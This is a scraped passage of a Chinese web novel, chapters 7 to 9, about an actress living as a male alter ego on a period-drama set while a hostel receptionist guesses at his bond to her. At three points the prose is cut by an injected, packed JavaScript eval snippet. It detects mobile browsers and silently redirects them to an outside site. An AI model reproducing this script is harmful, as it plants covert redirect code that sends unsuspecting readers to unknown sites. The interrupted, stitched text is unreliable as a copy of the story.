不如说，他是一个悲观的守旧派，在王朝倾覆来临之前，他自己已经用所做的事做完了这一个理由，悬了梁。 所以他和云浅衾隐瞒病情，说不用帮忙，不只是因为不想在她面前示弱，这么简单的理由，是因为他自己就想赴死啊。 宋寅的演绎完全给这个角色加上了爱而不得和忠孝两难全两层光环，殷玉莲都能想象到这部剧剧情要是完整拍出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085392|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，到时候会有多少人为李若白的下线而嗷嗷大哭。 市场就是这样，并非不能接受政治不正确的角色，只是需要你们能打到那个点上。 殷玉莲喊了卡，同时让摄像师换几个角度补镜头，白颖最佩服的是就这个几个换镜头，宋寅的情绪还是连贯的。 然而拍完宋寅主动问能不能再来一条。 殷玉莲：“你觉得这里情绪表达得不好？” 宋寅抿抿唇，可能是她很少碰到这么丰满可以挖掘的角色，所以在传达人物的精神世界上显得有些用力过猛了些，殷玉莲明显欣赏了他的精益求精，但是还没忘记这是部古偶。 作为套皮的穿越剧（广电不让拍，剧已经一开始就让编剧改成女主土著，但是从小经历人间疾苦所以思想比较先进，其他都拍得比较隐晦了），能点到男二和女主的感情线无疾而终是阶级差异而使，而他们两个人没能在一起也不是因为男主已经很好了。 她干嘛费时费力拍一个配角的情绪过渡？不如说宋寅对这段的处理反而是高于电视剧的要求了的。 当然了，她还是说了：“拍得很不错，一条过，今天这个景就把它拍完吧。” 白颖顿了顿，刚想说导演这是不是在开玩笑了，这个景那么多场，情景都不一样，现场生背啊？但看宋寅点头，她神色忽然复杂些。 怎么说呢，白颖和经纪人说：“比我见过的一些女演员都用功。” 经纪人诧异：“是吗，那在男演员里可不多见。” 白颖苦笑，那有什么办法，市场对男演员的要求这么低，以至于她看到宋寅那个演技，第一反应竟然是，他演的是男主就好了。 不过一部剧不能要求尽善尽美，这一点她很早就知道了，白颖叹口气：“注意下风向，我们尽早和周宇做切割吧。” “怎么？你那有风声了？” 白颖眸子里闪过一丝厌恶：“还没有，但就那样的人，路不会长远的。” 宋寅和剧组的工作人员鞠躬，结束了一天的工作，走的时候还有工作人员给他递水，还竖大拇指，看得出来他的临时救场不仅挽救了殷导的心情，也挽救了剧组工作人员辛苦搭建的工作成果。 不过宋寅没有自傲，相反，他一直以为的近乡情怯，在这件事居然只是几十分钟就完成之后，让他有些茫然了。 宋寅很想继续演下去，可是那之后的戏都是中敬畏，并不需要仔细的表情刻画，殷导甚至会主动说，你把感觉带出来一点就行。 原来她以前怎么样也演不到的角色，其实也没有她想象得有那么多人想让他血肉饱满让人印象深刻？最重要的是，她清楚知道李若白是在被刻画的，但是又被刻画得很敷衍。 宋寅想着这些走出来，看到一个落在自己面前的矿泉水瓶，脚步才顿了顿。他抬起头来，接着熙熙攘攘的接下班粉丝群里有人喊： “抢角的丑八怪去死！” 他顿在那了。 人群安静了一下，然后立刻有人回头想把那个闹事的黑粉揪出来。 “这不是我们连拾的粉丝。” “神经病吧！这么多人砸到人怎么办！” “我靠，现在线下的脑残粉好恶毒啊。” 他们还在议论纷纷，那被瞄准的青年忽然朝向人群刚刚攻击他的方向，他的目光很平静，人群并没有看出，他是否看见了那个扔瓶子的人的位置，但很快，他就垂下眼睫，然后对他们这个方向鞠了一躬。 他并不是对扔矿泉水瓶的人道歉，而是对他们这些既不是来迎接他，也不一定会维护他的粉丝道歉：“抱歉。” 说完，他就直起身，没有去追那个人，也没有因为他口出恶言而表情扭曲。很多时候艺人就是这样，只能被动承受但是分辨不出来声音来自谁的角色。 有人憋了半天：“这脾气也太好了吧。” “天啊，突然好心疼。” “唉，没红是这样的，我之前追过一个小糊豆，工作人员都按头让他戴不是头围的鸭舌帽了，他脸通红还在对我们保持微笑呢。” “可人家也不是爱豆啊，就是演戏而已凭演技。” 因为宋寅这一个鞠躬被心酸到的粉丝嘀嘀咕咕。 所以第二天宋寅再来的时候，他看见片场防护得更紧了，还有男主演女主演那的工作人员维持秩序，显然昨天晚上的事他们知道了，很难说他们是为了保护宋寅而不是自己，但既然是对拍摄有好处宋寅自然不会说什么。 但这天他再次结束拍摄，居然有人递鸭舌帽给他：“你上下戏的时候遮一遮就没有人看到是你了哦。” 其他人也七嘴八舌：“是啊小哥哥，保护一下自己吧。” “都是一部剧的主演，我们不会看着不管的。” 这一刻虽然宋寅明知道他们这么做是因为他们的正主也在片场里，他们希望维护片场秩序也帮忙维护正主的好路人缘，但还是感觉到一种不敢伸手触碰的错觉。 她作为盛蹊的时候也接过礼物，但那已经是很久以前了，她被挂在热搜上骂的时候也有粉丝维护，但她们能坚持多久呢？ 作为被她们喜爱的人，她并不希望粉丝因为维护她而挨骂，有一段时间甚至觉得超话没人签到都好了。 是她做得不称职。可是粉丝的爱意总是直击心灵的。 有人想说直接送鸭舌帽不合适，可能藏了什么啥的，提醒一下，他也不用戴就是了，但是宋寅依然接过，他没有那种自恋地以为她们是喜欢上了他的脸或者一见就想粉他了的什么，而是真诚地点头，接过了帽子：“谢谢。” 他的体态永远都是很好，在挤挤攘攘等着正主出来的粉丝里，他好像是错误进入这里的，不属于娱乐圈的人，但是他和你说谢谢时候的感觉，就像是你只是说了一句话，他也会把你当成最支持他的粉丝一样对待。 因为收到的爱意很少，所以觉得珍贵。 粉丝目送他走开，有人窃窃私语：“感觉他人挺好的。” “哎，希望他踏踏实实演戏吧，不搞事我们颖颖会带他起飞的。” 徐可欣坐在前台，作为前台她已经习惯宋寅这个早出晚归的作息了，这会儿看到他拿了个鸭舌帽回来也没有惊讶，但他要进楼道的时候有些纠结：“那个，你是不是认识盛蹊啊？” 7. 第 7 章 宋寅在这住了快七天，除了他去医院那次之外，徐可欣还是第一次如此清晰地看到他的眼睛，不过她很快意识到她会有这个感觉，是因为前几天，宋寅离开的时候给人的感觉都是静静的。 她就坐在前台，有时候都没看到。 但是她一提到盛蹊这个名字的时候，他整个人好像褪去了身上那层薄薄的透明的壳，后面的真实情绪显露出来了。 他低声：“我们已经很久没有联系了。” 他不知道自己为什么要说这句话，可能是职业本能让她去看了眼徐可欣桌上摆着的平板，平板播放着她现在还在被骂勾引周宇的那个视频，可能是因为他才刚刚开始李若白的饰演之路，不希望这条路也因为本体的事断绝掉。 可能只是因为，他也不想承认他和臭名昭著的盛蹊有关而已。 但他还是说：“她的戏演得很认真。” 徐可欣先是愣了一下，然后摆手，有些失望：“哦，我不是那个意思……我知道艺人不常私下接触粉丝啥的，我的意思是我想说，要是你们能联系的话，能不能帮我安慰安慰她。” 她嘀咕：“现在网上无脑的人太多了。” 她这几天一直在刷视频，就是因为什么试镜门的视频，这名字还是周宇恶心粉丝给起的，跟那些小学鸡大战三百回合，气不过看到还有人跑盛蹊账号底下骂，才想让宋寅带一下。 宋寅还以为自己听到会觉得很感动，事实上他的确觉得很感动，但是这些在对宋寅的身份认同下太微不足道了。 今天的演戏只让他的可信度上升了40，再坚持两天他就要寻找新的可信度途径，因为对演技好的可信度偏向是不能重复积攒的，他会越来越难获得剧组工作人员在这方面的可信度。 他有很多事要做……并没有空去安慰受了委屈很需要关心的本体。宋寅感觉自己和盛蹊这个身份彻底隔离开了，尽管她自我认同仍是女性，但是这个身份让他感觉安全。 “谢谢。有机会的话，我会替你转告的。”他说完，不像前几次谢谢那样，因为真诚和不知道如何回应，长久地停住，而像是这次是真正的场面话一样，他居然就这样走了。 徐可欣总觉得他有点落荒而逃，再结合他之前和她推荐《惊梦》，徐可欣总觉得他有点怪怪的，甚至有点埋怨他，都很久没联系了说什么朋友啊！ 她还以为自己能让盛蹊好受点好吧。徐可欣继续坐下玩游戏了，而宋寅洗漱了一下，再看剧本的时候被本体的饥饿唤醒，他才意识到，今天还没有切换过。 他的本体是不能停止吃喝的。 正在他切换的时候，系统说：【宿主对本体的使用频率似乎越来越低了。】 宋寅只是继续看剧本，她并不喜欢使用这个词，但她这个时候不得不承认它这句话说得没错。 但是必须切换本体的时机居然来得那么仓促，那还是他被砸了瓶子第三天，他才下戏，系统弹出紧急提示，因为屋外一直有人在敲门，本体再不回应他们会破门而入，到时候可能就会发现她毫无异常但一直不醒的异样了。 没有办法，宋寅还没有卸妆，就已经先“晕”了，程梦处理得还算有经验，所以这次仍然是她去的，但是到了车上的时候她不小心碰到宋寅的手腕的时候惊了一下，大夏天的，他的手居然冰凉得像是刚从冰箱里拿出来一样。 程梦想给他把东西放好。不小心摁亮了手机。 一个未接通电话，她看了一眼，犹豫了一下，宋寅接受检查的时候，她打了过去。 说实话盛蹊不是很明白这个系统的运行规则，如果它不断唤醒她是担心马甲异常被发现的话，那她脱离了马甲，马甲其实也不会被检测出任何异样。 但回到本体后她突然意识到，是会的。因为程梦的电话打过来了。 系统肯定了她的猜测：【系统不对马甲的身份异样负责，因为非系统绑定人员会对马甲身份进行脑补，并自动生成相关设定。】换而言之，马甲有身份合理化的可能，但本体并没有这个权限。 居住在这个世界的盛蹊是一个有着自己社会关系，工作经历和特定交友的正常人。所以来上门的是假借担心盛蹊安全，说服物业查了监控发现盛蹊三天没有出门，而来查看盛蹊安全的人。也就是狗仔。 盛蹊先挂了电话，然后走到门边，被拍了几张照的时候内心毫无波澜，只有股恍然：果然如此，物业也意识到那个人不怀好意，帮忙拦着和盛蹊道了歉，盛蹊只能沉默后和物业说：“我不会在这里自杀的。” 物业满脸尴尬。 其实狗仔能溜进来他们都有责任：保安以为他们不知道他们被狗仔塞钱就让他们进来了吗？只是物业以前觉得不是什么大事。 盛蹊关上门，不想知道她的这张“开门、略显憔悴”的照片会被放上哪里，但是看到同一个电话，还是垂眸，选择了挂断。 不知道为什么，这一刻她就是很想回去。本体的人生一地鸡毛。 程梦本来还在着急，心想，这个不是宋寅的好朋友吗，怎么不接电话，看到宋寅自己走出来了，愣了一下：“宋老师，你没事吧。” 宋寅垂眸看着她的手机。他知道那是程梦的电话，因为在他倒下那一刻，程梦的可信度偏向从穷加深颜色，到朋友不靠谱。 她大概以为那个承诺会来的朋友没有照顾好他，而且朋友也是宋寅有如此窘迫现状的原因。但凡谁都看得出来，宋寅的困境有几百块钱就能解决。可他却偏偏用几百块钱去给群演买降温贴。 那他的钱又去哪里了？ 宋寅眼睁睁看着“被骗”两个字加深，后面还跟着“或许很单纯”还有“信任朋友”。他开口延续了那个借口：“我们很久没联系了，她知道了是为我打给她，也不会接的。” 程梦张张嘴。 宋寅这次还是营养不良，或许有点拍戏导致的劳累过度，刚打了葡萄糖，他把手背上的医用胶布粘好：“走吧。” “宋老师……” 她声音里的忧虑快漫出来了，宋寅慢慢停住，程梦才说：“你真的不能再累下去了，也别……多吃点好吃的，我问过医生，这个病很容易好的。” 事实上如果不是切换本体，这个病的可信度偏向确实慢慢减弱了，程梦现在奇异地觉得宋寅的性格好像和剧里的李若白重合了，他都不在乎自己能不能好似的。 还不如对那个朋友的事在乎。想到这，程梦愣了一下，她立刻意识到很久没联系或许不是很简单的一句关系疏远了的事实，也很有可能，不是宋寅自愿的。 可信度偏向变来变去，宋寅说：“我知道，谢谢你。” 程梦没忍住：“然后呢？” 宋寅也看向她，在看到可信度偏向终于向“和朋友绝交了？”这几个字发展后，他淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她犹豫了一下：“您的朋友……” 宋寅：“她早就不在演艺圈了，所以我才来。”他对她弯弯眼睛，弧度很小，所以这个笑容显得很浅，程梦也不知道为什么自己的形容词是薄弱。 宋寅：“我不想让她知道，原来她那么向往的地方，对我来说是那么残酷的。” 残酷吗？程梦愣了一下，想到今天周宇回来，主要镜头又围着男主拍了，忽然有些坐立难安，而宋寅则是问：“那你呢？你又是为什么而来殷导剧组的。” 说到这程梦有些尴尬：“其实我一开始是想来做摄像的……” 本来是正经工作，被她混成了打杂的，程梦还以为会在对面人眼里看到熟悉的调侃和揶揄笑意，没想到抬头看见的是他安安静静的眼神。 好像他知道，只有他知道，她想做摄像不是开玩笑一样。程梦的喉咙忽然有点哽住，只是那一下的，但她还是匆忙回避他的视线了。 只诚实说：“你会火的。” 宋寅安静了很久，然后他笑说：“那我希望不要被她看见。” 为什么……程梦更想说。他们的话题好像一直是围绕他们两个人的，却又好像一直没有离开宋寅的那个朋友。 宋寅轻轻说：“因为我们绝交了啊。” 他仍然是笑着说：“我们不再是朋友了。” 8. 第 8 章 徐可欣不想来送外卖的，可是她是真没招了，她哥那个缺德货，知道店里人手不够，接了外卖单还让亲妹妹来送，还好青旅不需要二十四小时有人，而且她说来这陪她哥本来也是为了赚点生活费来着…… 朋友在微信上说影视城明星很多，她捋捋湿透的刘海只想骂一句哥坑妹。 这个剧组应该是新开的，她放下东西后也好奇踮脚看了两三眼，一个熟悉的都没看到，她耸耸肩，跟着场工去记账了，可是出来就发现环境变了，清场了？ 不是吧，真能现场围观到拍戏啊？ 她看了几眼，忍不住蹑手蹑脚靠近那个外景别院的围墙，别说，她白躲了，人几乎都在前院那，而且仪器什么都密密麻麻的，她眯起眼睛才能看到几个穿古装的。 徐可欣哂笑，这也记不住啊，想到能和朋友炫耀，她才偷偷把手机拿出来，但是犹豫着不知道能不能拍，忽然整个人就被一抹白惊艳了下—— 白颖程梦殷玉莲这些，都是被剧组颜值惊艳惯了的人，加上她们天天见到李若白，自然不会觉得扮相温雅的宋寅有什么不同。 可是徐可欣这是第一次见到有人在现实世界里穿古装拍戏，还是质感这么好的古装，接的长发和真发一样，被风吹起来时真假难辨，他的一席宽袖长袍衬得他整个人如同芝兰玉树。 本来没那么突出，他缓步走出来的时候，周围机器、人的嘈杂全都减弱甚至变成了可有可无的背景，徐可欣甚至觉得那些现代化的景物都变成了水墨画。 他站在那，一个古代王朝的气相就具象化了。 徐可欣下意识屏住了呼吸，里面也隐隐约约传来台词的声音。她意识到演戏的宋寅和平时的他很不一样。是的，她认出来了，如果说她第一眼还以为这是哪个男顶流的话，因为这种超凡脱俗的气质效应，她睁大眼睛看清楚了点，立刻就辨认清楚了。 平时住在青旅的宋寅是沉默的，温和的，因为她上次和他说了盛蹊的事，感觉很无语之后，他的存在感就更低了，感觉是个影子。 可是站在片场的宋寅，毫无疑问，他是整个剧组的中心，至少这一段似的，过白的日光，落在他身上，都像是一层暖的月华，这个人的魅力太超过了！ 她甚至无师自通知道这是一个温柔的，心有成算，而且善解人意的角色，但他的温柔绝不是愚蠢的，没有锋芒的……原来他晕倒也要饰演的角色，就是这样的啊。徐可欣可耻地有些心动了。 她在那扒着墙看了好久，发现宋寅大概是回去，没有戏份了，才眼巴巴地离开，回去犹豫了很久，还是决定在前台坐会儿。 这几天宋寅回来得越来越晚，好多次她都去睡了，都没见到他，但今天她打定主意要在这等着，等是为了做什么呢……她也没数，就是想看看。 这一天也等得心不在焉的，只有几条网上的骂战勉强引起她的兴趣，可今天宋寅回来得很早，依然和平时一样，低调内敛温和的眉眼，没有一点剧场光芒万丈的样子，他向她问好。 “那个……”徐可欣终于找到了话题，在他进楼道之前拦住他：“谢谢你给我推的那部剧啊，我挺喜欢盛蹊的，而且她演得好好。” 她只是找了一个话题，但宋寅还是和以前一样定定地看她一会儿，好像这个话题触到了他什么敏感的东西，徐可欣都要怀疑是不是他装是盛蹊的朋友被她拆穿之后，这次又心虚了……什么乱七八糟的，她挥散脑海里的想法。 宋寅却说：“谢谢。” “但是我们确实很久没联系了，没能帮上你，不好意思。” 徐可欣反应了很久才知道他说的是上次她想帮忙转达的事，徐可欣摆了摆手，然后心里颇有些不是滋味地说：“没事，最近网上乱，她不看那些也好。” 她又看宋寅一眼，知道自己心情复杂是为什么了。男演员第一部戏能演男配，女演员却因为和男的沾边就要挨骂！她没什么兴致了，看到宋寅进楼道的背影忽然想起什么，站起来冲着那喊：“哎！” 宋寅回过身来，狭小楼道里没灯，他的身影竟然显得有些清瘦颀长，不像他本人那样沉默内敛。低调同时遮掩掉了他身上些许病弱的气息。 “你说你们很久没联系了，但是要签名应该是好事吧，我这，我这有刚打印出来的剧照，麻烦你帮我和她说一声，就说工作人员很喜欢她好不好啊。” 徐可欣双手合十，她也不知道自己哪来的社交勇气，可能是觉得这对她还是现在的盛蹊来说都是不得不做的事。真的还有人喜欢她，不骂她呀！ “拜托你了，我真的很喜欢她。” 但是不知道为什么，她站在灯下面说完这句话后，楼道里面那个背光漆黑的影子，好像显得更瘦长了，他没有动作，站在那，徐可欣都以为他卡住了。 “宋先生？”徐可欣歪头。 宋寅：“我们不熟。” ？？？搞什么啊，徐可欣真的有点生气了，她知道自己这个要求可能有点过分，好吧，也许对陌生人来说太冒犯了，但是既然认识说这样一句话，还是好事，应该不麻烦吧…… 徐可欣很想让自己别这么没礼貌，但是憋着气回到位置上，还是没忍住和朋友吐槽，她连今天去剧组夸了宋寅十几句好帅的话都忘了，直接隐去名字和朋友疯狂吐槽。 朋友：【啧，感觉有事，不会是地下恋情吧？】 徐可欣：【？？？别瞎说，怎么脑补那么多啊，娱乐圈你认识我我认识你的很正常啊，我更倾向于这男的就是小气！】 朋友：【但是他给你推荐她的剧还说是朋友，后面又反口就很怪啊，娱乐圈这样的，我只见过谈过变纯恨的（斜眼笑）】 徐可欣：【那他的粉丝要气死了，还没进圈就有真嫂子】 但她放下手机，抱着胳膊仔细想了一想，又想到宋寅刚来的时候甚至没钱，还不能给手机充电，又有些心虚。人吧，本来就可能因为一个人可怜而宽容他所做的事，而且细想人家其实没做什么。 他只是不愿意给她要个签名照而已，可是这也不是什么坏事啊！一晚上徐可欣就在这翻来覆去地想这事儿到底是怎么回事，第二天早上他们又撞到了，徐可欣本来打算眼不见心不烦的，看到宋寅的神情好像没比自己好多少，愣了愣。 便宜哥又让她帮忙送餐，徐可欣没犹豫：“去！” 第二回来剧组她比谁都熟稔了，甚至想悄悄转转看看宋寅今天有没有上戏，她不是喜欢宋寅就是想看好看妆造罢了，她这样说服自己，但是人没看到，倒是看到他们在聊八卦。 “这么热的天还晕了一趟，等下真的七八月了怎么搞哦。” “现在的明星都娇贵，这还不是男主角呢，就是个男配，哪有我们身体好。” “诶，这种在剧组晕倒有没有钱啊？” “你想得美哦你，人家拿了片酬还有这个钱？那不是赚翻了？” “是姓宋是吧？但是我那天看了，他长得真挺好看的。” 徐可欣张张嘴，还在剧组晕了一回啊，这哥们也是够命运多舛的，一转头，竟然看到了穿着戏服的宋寅，他好像也没想到她会在这，愣了一下，然后对她点点头。 徐可欣有些尴尬，更多的是不知道该干什么的无地自容，她签了字赶忙跑出去，看到门口易拉宝上，剧照那宋寅的脸居然被涂掉了，瞬间就感觉气炸了。 我靠，不管宋寅人咋样，这样直接把他一个人的脸涂了是真恶毒啊！她憋了半天，也不能干嘛，只能和朋友吐槽。 【你最近和我说了好多这个帅哥哦，古装真的有那么帅嘛，我不信，发来看看（戳戳）】 【（无语）剧组不给拍照啦，而且那么远怎么拍的清，但他演技应该蛮好的，和我给你推荐的那个女演员差不多，都有一种气质融进角色的感觉】 【sx？她最近被骂得好惨，我之前在热搜上看到还有狗仔跑到她家去偷拍了，装外卖员，物业都发声了】 徐可欣：？？？ 她生气地上网辩论，打字打到一半忽然感觉身后有人，转过头来，发现是戴着鸭舌帽的宋寅，他好像看到了她在发什么，眼睫略略颤了颤。 徐可欣更加尴尬：“那个，你结束了？”她差点咬掉舌头。 “嗯，今天只是补几个镜头。” 徐可欣无法昧着良心，只能老实说：“我远远看到过，你演得实在太好了。” 宋寅好像不打算说话的，但还是忍不住问她，声音很轻的：“和她比起来呢？” 徐可欣怔了一怔，旋即她闭嘴，对宋寅印象更不好了，怎么回事啊这男的，帅却自信啊，和人家出道那么多年的黄金女配去比。 她没说，宋寅却低声说：“骂了他们也会骂回去的，而且现在骂她的人那么多，你跟着说其实没有好处。” 要你管！徐可欣的无语要漫出来了，她站远点，然后想起她其实可以打车，这样就不用和宋寅一起回去了，但是宋寅说：“你说想要签名照我和她说过了。” 徐可欣猛地转过身来：“嗯？？！！！” 宋寅无法去看她的目光，垂眸：“但她现在不方便，对不起，没有满足你的心愿是我的问题。” 什么啊，说得好像是因为他才不给一样，但是徐可欣脑海里猛地闪过那句话，她忽然很想拿起手机和朋友疯狂八卦，不是吧！！真的让她碰到和盛蹊有关系的人了！！ 因为她是演技粉，对谈恋爱倒是没什么感觉，但她对娱乐圈女星不好好选对象这事儿很有意见，宋寅么，本来是素人这回事儿，她也很有意见的，但是眼看宋寅可能要火了…… 徐可欣试探问：“你们吵架了？”这是一个很适合八卦的问题，进可谈分手退可说是朋友，但她看着宋寅，对方很快意识到他似乎说得太多了。 原本，宋寅打算不让任何人知道他和本体的关系。但是本体在被千夫所指的时候，真的会有人因为他的一句推荐去看整部戏，和他说她很喜欢她，还希望他安慰她…… 宋寅没什么别的好说的，只能重复：“谢谢。” 徐可欣心里嘀咕，又不是说你，但她很快意识到，或许他不答应她也是因为知道，他从她那里要不到吧，为什么呢？ 没有删除联系方式，但却不怎么联系，会给别人推荐她的戏，但是要不到她的一张签名，这关系闹得也，太僵了…… 徐可欣偷偷去看宋寅的背影。 宋寅说：“我可以让我朋友转告她一声，请她寄给你。” 徐可欣眼睛一亮，几乎要忘了自己那些想法：“真的？谢谢你。”有人来，她把长篇大论咽回去，决定收回她对宋寅的那些不满，是她有眼无珠了，这位帅哥真是个大好人！ 但宋寅不管他说的话可能会引起的，她对他人品会有的不好的联想，只是说：“我和她的关系，还请你保密。” 其他人来说，可能是觉得盛蹊现在黑料缠身，朋友都不太和她玩了，但是徐可欣听这话，总觉得宋寅像是在说，她不希望他们之间有关系，那他就不会让他们之间有关系。 徐可欣心情还挺复杂的，她觉得宋寅这个人其实还行，但是他和盛蹊这关系这心路历程一波三折的。 她小声嗯了一声，而且提醒自己不要在任何社交媒体上乱发，但还是忍不住问：“你和她说，有人很喜欢她，她也拒绝了吗？” 她现在也不觉得是因为宋寅啊！怎么看都是盛蹊不怎么给别人签名好吧，虽然她考古了觉得盛蹊也不是那样的人。 宋寅没怎么说话，但是徐可欣跟上去，忽然想到那种类似的对话：该不会是因为他以前用过这样的说法吧。 盛蹊一直不怎么红，徐可欣是知道的。在这种情况下，总是有人找宋寅要她的签名照，而且还是在他们关系不好的情况下，盛蹊可能会觉得，你是不是在嘲讽我，讽刺我或者戏耍我。 总之，宋寅和她说的话，在外面给其他人推荐她的戏，收到的对盛蹊的好感，从来没有一次真正反馈到盛蹊那里过。 不是因为那些人有什么不同，是因为宋寅，是因为宋寅的问题。 …… 她那么讨厌他吗？ 徐可欣又睡不着了。 她看着盛蹊之前的采访，昏昏欲睡呢，忽然自己账号下面有一个特别关注评论，她猛地点进去，差点撞到头，不是吧，盛蹊！ 而且她也说了谢谢，是她亲自说的，徐可欣感动得泪眼汪汪，可是再刷时，她想到宋寅那个落寞的背影。 她犹豫了一下，还是评论： 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085394|179557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是西西的好朋友给我推的！西西应该认识哈哈哈哈哈，他给好多人推过（拥抱）】 本来她也没指望回复，就是心安一下，刷了一会儿，竟然刷出来了。 盛蹊：【我没有圈内的朋友】 徐可欣愣了一下，委婉提醒：【他最近有一部戏在拍】 盛蹊：【没印象】 徐可欣愣了一下，她只是这么想了一下，觉得宋寅知道她的账号，应该也在关注和盛蹊有关的事吧，他不会刷到这条评论吧？这么想着，居然真的目光自动捕捉到一个没有头像的账号。 已经注册了很久，没有博文，但是最新点赞里全都是关于帮盛蹊说话的博。 徐可欣：“……”不是大哥，你真的有点好哭了。 她没忍住考古了半宿，顶着黑眼圈切回去和朋友说：【我觉得你说的是真的。】 【他真的好维护她啊。】 那些博文里其实没有说什么，都是觉得周宇这么说一个合作女演员很掉价，二十一世纪还dfxr什么的非常无语，但是他没有骂一个字，也只是在默默点赞说盛蹊罪不至此的博文。 徐可欣看了半宿，有些周宇粉丝嘴脏的气得她都进去骂了两嘴，但是那个账号只是点赞，甚至追溯到很久以前，盛蹊发的博，终于有一条是他点赞的。 是说：【第一部戏杀青了！好开心。】 是个连徐可欣都不认识的小角色，但是他点赞了，而且一直都只是在点赞。 徐可欣和朋友说了，朋友说：【估计是线下认识吧？怕掉马？】 徐可欣：【我都不敢想象她看到这些骂她的会有多难过QAQ】 朋友：【或许这也是你看到很多都不可见的原因，有人举报了吧】 徐可欣：【帅哥？】 朋友：【嗯哼，帮朋友维护一下舆论还挺正常的】 但是不是的，他们不只是朋友！徐可欣能感觉到，她终于明白了那句和她比起来呢是什么意思，他心里其实觉得，他的演技不如她，也不应该得到现在的地位角色，然而她被骂，孤立无援，他却什么都不能做。 徐可欣心里涩涩的：【娱乐圈小演员真难。】 朋友：【他以前还是素人吧，说不定就是因为盛蹊才进圈来的，我听你说他都没什么钱？哪个没钱的会来混娱乐圈啊】能不能演上角色都不一定。 徐可欣：【你说得好对】 而且她想起宋寅给她推荐《惊梦》那一天，只是克制地说了两句话，然而她说很好看希望盛蹊不要被网上声音影响后，他就无法面对她了。 那感觉就更像是，他知道她不该承受这一切，但真的从路人那知道其他人也觉得她不该被骂，反而什么话都说不出来一样。 ……他们关系一定很好吧。 所以他才会说：“她是我朋友。” 但是，我不是她朋友。 我们已经结束了。 【救命，我感觉我磕到BE的了！】徐可欣在和朋友的聊天记录里大哭。 【破案了，你CP通过你视奸对方，一个说没印象，一个说很久不联系了，宝，你不会误入什么破镜重圆情节吧】 【可是我感觉他们不会破镜重圆了（大哭）】 【很难评，男的家里没钱，只身闯娱乐圈，盛蹊现在到处被黑，从这个角度来说他俩其实挺不般配的其实】 徐可欣：【我说的不是那种般配，我只是感觉，他们之间有一种和其他人都不一样的距离，就，若即若离你知道吗？】 这种感觉甚至让她觉得，她说出她的朋友的时候，盛蹊应该立刻认出宋寅来的，然而她回的却是，不认识。正主现在能上博了还翻牌了，但是徐可欣更加坐立难安了。 【那能咋办，你不会要撮合他们两个吧？】 徐可欣：【（怒）（怒）】 其实她没想做什么。徐可欣第二天早上看到宋寅，正好收到了快递，里面是盛蹊给她准备的礼物，她刚拆开的时候，宋寅下来。 他看她的表情，反应，她说盛蹊真好的时候，他嘴角弯了弯。甚至是亲眼看到她说没印象，还是会为她和她的粉丝高兴的关系。 你们真的不能和好吗？ 这句话徐可欣差点就想说了。 但是那天之后她刷博，发现那个无头像小号注销了。徐可欣心里一窒，就像心空了一块一样，她反复去翻，果然只能翻到，让她确认，是宋寅怕盛蹊发现他的账号，才注销的痕迹。 【怎么这样！】徐可欣又开始在聊天记录里哭了。 系统正在和宋寅说：【宿主这是掩耳盗铃。】 那个从盛蹊出道开始一路陪伴盛蹊到现在的点赞小号是徐可欣脑补生成的，她脑海里有“有没有可能是这样”这个想法，可信度偏向足够多的情况下就会演化成现实。 就好比程梦听完那句“绝交”，他们各自手机上就会出现绝交的聊天记录一样，这种脑补带来的丰富度是很恐怖的。 但是宋寅知道后选择了注销。 “只有两个人知道也够多了。” 【程梦并不知道宿主本体的身份。】 宋寅还是那样，他轻轻弯着眼睛，眼睛里没有笑意，只是作为温和的伪装而已，他轻轻：“不知道，但是找到之后曝光，然后让我成为和本体一样的人吗？” 系统想纠正先有本体才有马甲这个先后关系，但是沉默了。 宋寅现在身上的可信度偏向很复杂，除却演技之外，就和病弱、贫穷、低调和盛蹊有关。 他觉得自己是不见棺材不落泪，总是在不知名的地方就泄露和本体的关系，有了这个教训他下次不会再犯了。再说，“曾经是朋友这个关系挺好的。” 能解决很多问题。 系统没说他和本体终究是不可分割的。 【宿主没留意到可信度越来越不够用了吗？】上次代替周宇出演，最近有徐可欣填补，但是马上又要见底了。 宋寅说：“我想先演好这部戏。” 但是没有可信度就算演好了也未必再能以宋寅身份出现……系统看到宋寅看剧本的神情，还是闭了嘴。 下一场是宋寅进这个剧组的重头戏，他要在大雪里下线，并在想象中见云浅衾最后一面。 9. 第 9 章 戏份不多的男配是不会有人全程跟妆的，不过宋寅进组时的那位化妆师已经做好了全程补妆的准备，她和宋寅说过一声，可以叫她鱼尾。 鱼尾给他上妆的时候提点了几句夏天拍冬装戏不NG的窍门，首先是少动，不是剧本里提到的必须有的大动作，其实维持古人基本的仪态就可以了，冬天人家本来也是怕冷缩着的。 其次就是千万不能碰脸上脖子上的妆：“就这影视城热的，碰一下直接给你全脱妆。”不碰好歹油是一起油的，摄像师技术好了完全能给你拍不出来。 